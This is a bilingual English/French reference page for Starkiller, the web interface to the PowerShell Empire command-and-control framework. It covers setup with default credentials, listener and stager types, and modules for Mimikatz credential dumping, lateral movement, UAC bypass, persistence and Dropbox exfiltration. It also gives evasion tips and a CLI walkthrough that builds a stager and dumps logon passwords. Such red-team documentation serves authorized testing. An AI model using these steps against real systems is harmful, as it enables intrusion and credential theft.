← retour aux outils back to tools

# starkiller

Interface web GUI pour le framework C2 PowerShell Empire. Fournit une interface graphique pour gérer les listeners, stagers, agents et modules d'Empire. Web-based GUI frontend for PowerShell Empire C2 framework. Provides a graphical interface for managing Empire listeners, stagers, agents, and modules.

↗ https://github.com/BC-SECURITY/Starkiller

## Overview

Starkiller is the official web-based GUI for PowerShell Empire. It provides a visual interface for all Empire functionality — creating listeners, generating stagers, managing agents, running modules, and coordinating team red team operations. Replaces the older Empire CLI for most workflows.

## Installation

    # Starkiller is bundled with Empire 4.x+
    # Install Empire (includes Starkiller)
    git clone https://github.com/BC-SECURITY/Empire
    cd Empire && ./setup/install.sh

Start Empire server

    ./ps-empire server

    # Access Starkiller at: https://localhost:1337
    # Default creds: empireadmin / password123

## Getting Started

Start Empire server

    ./ps-empire server --host 0.0.0.0 --port 1337

Start Starkiller (usually auto-starts with Empire) Or install separately

    npm install && npm run serve

    # Login at: https://EMPIRE_HOST:1337
    # Username: empireadmin
    # Password: (set during install, default: password123)

## Listeners

    # In Starkiller GUI:
    # Listeners → Create → Select type

    # Common listener types:
    # HTTP     — standard HTTP listener
    # HTTPS    — encrypted HTTP listener
    # HTTP-COM — COM-based (BlueKeep evasion)
    # HTTP-MAPI — Exchange/Outlook-based
    # METERPRETER — Metasploit reverse

    # Configure options:
    # Host, Port, StagingKey, DefaultDelay
    # CertPath (for HTTPS)

## Stagers

    # Stagers → Create → Select stager

    # Common stager types:
    # windows/launcher_bat     — .bat file delivery
    # windows/launcher_vbs     — VBScript
    # windows/launcher_powershell — PS1 script
    # multi/launcher           — encoded PS command
    # windows/macro            — Office macro

    # Generated stager is copied to clipboard or saved to file

## Agents (Sessions)

    # All connected agents appear in Agents panel
    # Each agent shows:
    # - Name, Host, User, Process
    # - Internal/External IP
    # - Language (PowerShell, Python, C#)
    # - Last check-in time

    # Right-click agent → Interact → opens task interface
    # Run modules directly from agent view

## Modules

    # Modules → Browse → Search for module

    # Common modules:
    # situational_awareness/network/get_spn    → Kerberoastable accounts
    # collection/mimikatz/logonpasswords       → Mimikatz credential dump
    # lateral_movement/invoke_psremoting       → PSRemoting lateral movement
    # lateral_movement/invoke_smbexec          → SMBExec lateral movement
    # persistence/elevated/registry            → Registry persistence
    # privesc/bypassuac_env                    → UAC bypass
    # exfiltration/exfil_dropbox              → Exfil to Dropbox

## Credentials

    # Credentials panel aggregates:
    # - Hashes captured by Mimikatz modules
    # - Plaintext passwords from various modules
    # - Kerberos tickets

    # Export credentials to CSV/JSON for use with other tools

## Tips

- Starkiller makes Empire accessible to team members who aren’t comfortable with CLI
- The Credentials panel is valuable for tracking all captured creds in one place
- Use HTTPS listener with a real cert + CDN for opsec
- Empire/Starkiller agents have high AV detection — consider obfuscation or alternative C2

Empire CLI Commands (fallback)

    # If GUI is unavailable, use Empire CLI:
    ./ps-empire client

    (Empire) > listeners
    (Empire) > uselistener http
    (Empire) > set Host http://10.10.10.50
    (Empire) > execute
    (Empire) > usestager windows/launcher_bat
    (Empire) > set Listener http
    (Empire) > execute
    (Empire) > agents
    (Empire) > interact <agent_name>
    (Empire: agent) > usemodule collection/mimikatz/logonpasswords
    (Empire: agent) > execute

## Vue d’ensemble

Starkiller est l’interface graphique web officielle de PowerShell Empire. Elle fournit une interface visuelle pour toutes les fonctionnalités d’Empire : créer des listeners, générer des stagers, gérer des agents, lancer des modules, et coordonner des opérations red team en équipe. Remplace l’ancienne CLI d’Empire pour la plupart des workflows.

## Installation

    # Starkiller est fourni avec Empire 4.x+
    # Installer Empire (inclut Starkiller)
    git clone https://github.com/BC-SECURITY/Empire
    cd Empire && ./setup/install.sh

Démarrer le serveur Empire

    ./ps-empire server

    # Accéder à Starkiller sur : https://localhost:1337
    # Identifiants par défaut : empireadmin / password123

## Prise en main

    # Démarrer le serveur Empire
    ./ps-empire server --host 0.0.0.0 --port 1337

    # Démarrer Starkiller (démarre généralement automatiquement avec Empire)
    # Ou l'installer séparément
    npm install && npm run serve

    # Se connecter sur : https://EMPIRE_HOST:1337
    # Utilisateur : empireadmin
    # Mot de passe : (défini pendant l'installation, par défaut : password123)

## Listeners

    # Dans l'interface Starkiller :
    # Listeners → Create → sélectionner le type

    # Types de listener courants :
    # HTTP     : listener HTTP standard
    # HTTPS    : listener HTTP chiffré
    # HTTP-COM : basé sur COM (évasion BlueKeep)
    # HTTP-MAPI : basé sur Exchange/Outlook
    # METERPRETER : reverse Metasploit

    # Configurer les options :
    # Host, Port, StagingKey, DefaultDelay
    # CertPath (pour HTTPS)

## Stagers

    # Stagers → Create → sélectionner le stager

    # Types de stager courants :
    # windows/launcher_bat     : livraison par fichier .bat
    # windows/launcher_vbs     : VBScript
    # windows/launcher_powershell : script PS1
    # multi/launcher           : commande PS encodée
    # windows/macro            : macro Office

    # Le stager généré est copié dans le presse-papiers ou sauvegardé dans un fichier

## Agents (sessions)

    # Tous les agents connectés apparaissent dans le panneau Agents
    # Chaque agent affiche :
    # - Nom, Host, User, Process
    # - IP interne/externe
    # - Langage (PowerShell, Python, C#)
    # - Dernier check-in

    # Clic droit sur l'agent → Interact → ouvre l'interface de tâches
    # Lancer des modules directement depuis la vue agent

## Modules

    # Modules → Browse → rechercher un module

    # Modules courants :
    # situational_awareness/network/get_spn    → comptes Kerberoastables
    # collection/mimikatz/logonpasswords       → dump d'identifiants Mimikatz
    # lateral_movement/invoke_psremoting       → mouvement latéral via PSRemoting
    # lateral_movement/invoke_smbexec          → mouvement latéral via SMBExec
    # persistence/elevated/registry            → persistance via registre
    # privesc/bypassuac_env                    → contournement UAC
    # exfiltration/exfil_dropbox              → exfiltration vers Dropbox

## Identifiants

    # Le panneau Credentials agrège :
    # - Les hashes capturés par les modules Mimikatz
    # - Les mots de passe en clair de divers modules
    # - Les tickets Kerberos

    # Exporter les identifiants en CSV/JSON pour utilisation avec d'autres outils

## Conseils

- Starkiller rend Empire accessible aux membres de l’équipe qui ne sont pas à l’aise avec la CLI
- Le panneau Credentials est précieux pour suivre tous les identifiants capturés au même endroit
- Utiliser un listener HTTPS avec un vrai certificat + un CDN pour l’OPSEC
- Les agents Empire/Starkiller ont une forte détection AV : envisager l’obfuscation ou un C2 alternatif

Commandes CLI Empire (repli)

    # If GUI is unavailable, use Empire CLI:
    ./ps-empire client

    (Empire) > listeners
    (Empire) > uselistener http
    (Empire) > set Host http://10.10.10.50
    (Empire) > execute
    (Empire) > usestager windows/launcher_bat
    (Empire) > set Listener http
    (Empire) > execute
    (Empire) > agents
    (Empire) > interact <agent_name>
    (Empire: agent) > usemodule collection/mimikatz/logonpasswords
    (Empire: agent) > execute